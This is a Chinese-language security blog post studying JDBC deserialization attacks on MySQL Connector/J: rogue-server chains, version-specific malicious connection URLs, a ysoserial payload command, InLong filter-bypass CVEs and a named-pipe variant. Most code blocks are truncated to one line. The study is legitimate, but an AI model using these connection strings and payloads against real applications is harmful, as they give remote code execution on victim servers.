别气馁,哪里跌倒哪里站起来。
前言
在我印象中还是对JDBC攻击流程比较熟悉的。但回头翻博客居然没有一篇专门记录JDBC攻击原理的。看来只是凭借几道CTF的印象噢。那就从头了解一下吧。
JDBC用来连接数据库进行查询操作。攻击JDBC就是更改参数然后通过数据库本身指令或者代码缺陷来对目标进行攻击。
hitbsecconf2021中提到的CVE-2017-3523。
MySQL Connector/J提供了一些特性来支持Java对象的自动序列化和反序列化,以便于在数据库中存储任意对象。当useServerPrepStmts
被设置为true
以使MySQL Connector/J使用服务器端准备好的语句。接收一个类类型为BLOB
或者相似的TINYBLOB
,TINYBLOB
,LONGBLOB
。程序使用getObject()
或读取数值的函数之一(首先作为字符串读取,然后解析为数字)从该列读取。
若攻击者能控制JDBC连接设置项,则可以通过设置其配置指向恶意MySQL服务器触发ObjectInputStream.readObject(),构造反序列化利用链从而造成RCE。
通过JDBC连接MySQL服务端时,会有几句内置的查询语句需执行,其中两个查询的结果集在MySQL客户端进行处理时会被ObjectInputStream.readObject()进行反序列化处理。如果攻击者可以控制JDBC连接设置项,那么可以通过设置其配置指向恶意MySQL服务触发MySQL JDBC客户端的反序列化漏洞。
可被利用的两条查询语句:
- SHOW SESSION STATUS
- SHOW COLLATION
后面的两条链也是由传入connect的语句选择不同的查询语句。
MySQL认证报文
https://zhuanlan.zhihu.com/p/20539897
先是tcp三次握手建立连接。
在mysql8之前的版本使用的密码加密规则是mysql_native_password,但是在mysql8则是caching_sha2_password。greet包是不一样的。
去模拟MySQL与受害者的数据交换。
1 | import java.sql.Connection; |
选择
并且设置
1 | tcp.port ==3306 && mysql |
过滤
看到响应OK的数据为
1 | 0700000100000002000000 |
后面就发这个数据
再看到问候请求包
1 | 4a0000000a352e372e323600040000001f06151e2a63773900fff7210200ff8115000000000000000000004b581866437e626a0b683912006d7973716c5f6e61746976655f70617373776f726400 |
恶意的MySQL服务就是这样做出来的。
1 | # -*- coding:utf-8 -*- |
反序列化分析
1 | java -jar ysoserial.jar CommonsCollections6 calc.exe > a |
注意不要用powershell去生成,会生成错误的payload。
https://www.cnblogs.com/Dylan7/p/12649972.html这篇介绍了一个字节的有符号整数。
1 | import struct |
可以看到开头为
-84与-19
利用链
恶意MySQL服务
之前那个不够用的,用这个https://github.com/4ra1n/mysql-fake-server
反序列化入口
com.mysql.cj.jdbc.result.ResultSetImpl#getObject(int)
detectCustomCollations链
信息
- 5.1.19-5.1.28:jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&user=yso_JRE8u20_calc
- 5.1.29-5.1.48:jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_JRE8u20_calc
- 5.1.49:不可用
- 6.0.2-6.0.6:jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_JRE8u20_calc
- 8.x.x :不可用
漏洞复现
1 | java -jar fake-mysql-cli-0.0.4.jar -p 3306 |
受害端这样设置
1 | import java.sql.Connection; |
成功复现
username就是设置触发的利用链,看这个payload好巧妙啊,那接下来分析一下为什么这样构造。
恶意端根据传入不同的name来返回不同的反序列化payload相当于提供了多种可选的。
先看调用哪些函数来到达反序列化入口
1 | readObject:364, ObjectInputStream (java.io) |
还是熟悉的ResultSetImpl#getObject
那我有个问题,反序列化的数据哪里来的?
https://cloud.tencent.com/developer/article/1734963
resultset packet - row
● row packet里才是真正的数据包.一行数据一个packet.
● row里的每个字段都是length coded binary
● 字段的个数在header packet里
● sql/client.c:cli_read_rows
这个包是受害者发完自己的版本号后恶意端返回的数据。
为何恶意端要这样返回数据呢?通过调用com.mysql.jdbc.ConnectionImpl#buildCollationMapping
的
执行了SQL查询语句
通过com.mysql.jdbc.BufferRow#getColumnValue
获取row包然后拿到恶意数据再反序列化。
ServerStatusDiffInterceptor链
信息
- 5.1.0-5.1.10:jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc 连接后需执行查询
- 5.1.11-5.x.xx:jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc
- 6.x:jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc (包名中添加cj)
- 8.0.20以下:jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
漏洞复现
模拟受害者
1 | import java.sql.Connection; |
多加一些参数来防止连接出错,自己搭的fakeMySQL不是所有都是可以返回的。
调用过程
1 | readObject:364, ObjectInputStream (java.io) |
看到
1 | private void populateMapWithSessionStatusValues(Map<String, String> toPopulate) { |
通过执行SQL查询SHOW SESSION STATUS
拿到恶意反序列化数据,然后传入后面方法执行。
Bypass
通过Apache InLong来学习如何绕过过滤。还是处理的问题,传过去的什么都处理了。但是过滤前没有处理。。。。
CVE-2023-31058
通过空格符进行绕过
https://www.freebuf.com/vuls/368046.html
密码的搭建漏洞环境还调试太废时间了。自己根据diff写个demo
修复https://github.com/apache/inlong/pull/7674/commits/257e1bb53c05d3936bad61acd0e552df18ee7886
demo如下
1 | class InlongConstants { |
结果
inlong后面还对过滤后的字符串完成处理后去掉了空格传入到jdbc中,使用yes也可以绕过。
CVE-2023-46227
fuzz不可见字符
1 | import static com.mysql.cj.util.StringUtils.isNullOrEmpty; |
不出网利用
https://xz.aliyun.com/news/17830
变态啊,要不是就是win的wireshark抓的包有问题,他的包都可以。原理是对的。
https://mysql.net.cn/doc/connector-j/8.0/en/connector-j-named-pipe.html
命名管道(NamedPipe)是服务器进程和一个或多个客户进程之间通信的单向或双向管道。不同于匿名管道的是:命名管道可以在不相关的进程之间和不同计算机之间使用,服务器建立命名管道时给它指定一个名字,任何进程都可以通过该名字打开管道的另一端,根据给定的权限和服务器进程通信。命名管道提供了相对简单的编程接口,使通过网络传输数据并不比同一计算机上两进程之间通信更困难,不过如果要同时和多个进程通信它就力不从心了。
1 | <init>:51, NamedPipeSocketFactory$NamedPipeSocket (com.mysql.jdbc) |
在Windows上使用NamedPipe: \\.\pipe\MySQL
在Linux上使用NamedPipe: mkfifo /tmp/MySQL
命名管道通过文件系统中的名称识别,看到这个方法是如果没有传入就使用默认的,这时候我们传入一个恶意文件的地址作为pipe的地址,就会访问到我们恶意的数据包。
模拟受害者
1 | package com.jdbc.tricks; |
有点绝望了,pcap包wireshark打不开什么情况。。。
所以数据包应该如何构造呢?
已知他的包是去除头和尾的。
补充一个计网知识点吧
socket是应用层的。TCP是应用层的,两个不是并列的,不是有你没我的。当然NamedPipeSocket也是属于应用层。
后记
挖掘出来的人好厉害啊,感觉有无法逾越的鸿沟,因为看不到光明。加油。还是有些没有解决的问题留个疑问,日后有机会再解决。
一个探测版本的脚本
1 | import socket |
参考:
https://mp.weixin.qq.com/s/BRBcRtsg2PDGeSCbHKc0fg
https://research.qianxin.com/archives/2414
https://tttang.com/archive/1877/#toc_jdbc_1
https://wiki.wgpsec.org/knowledge/ctf/JDBC-Unserialize.html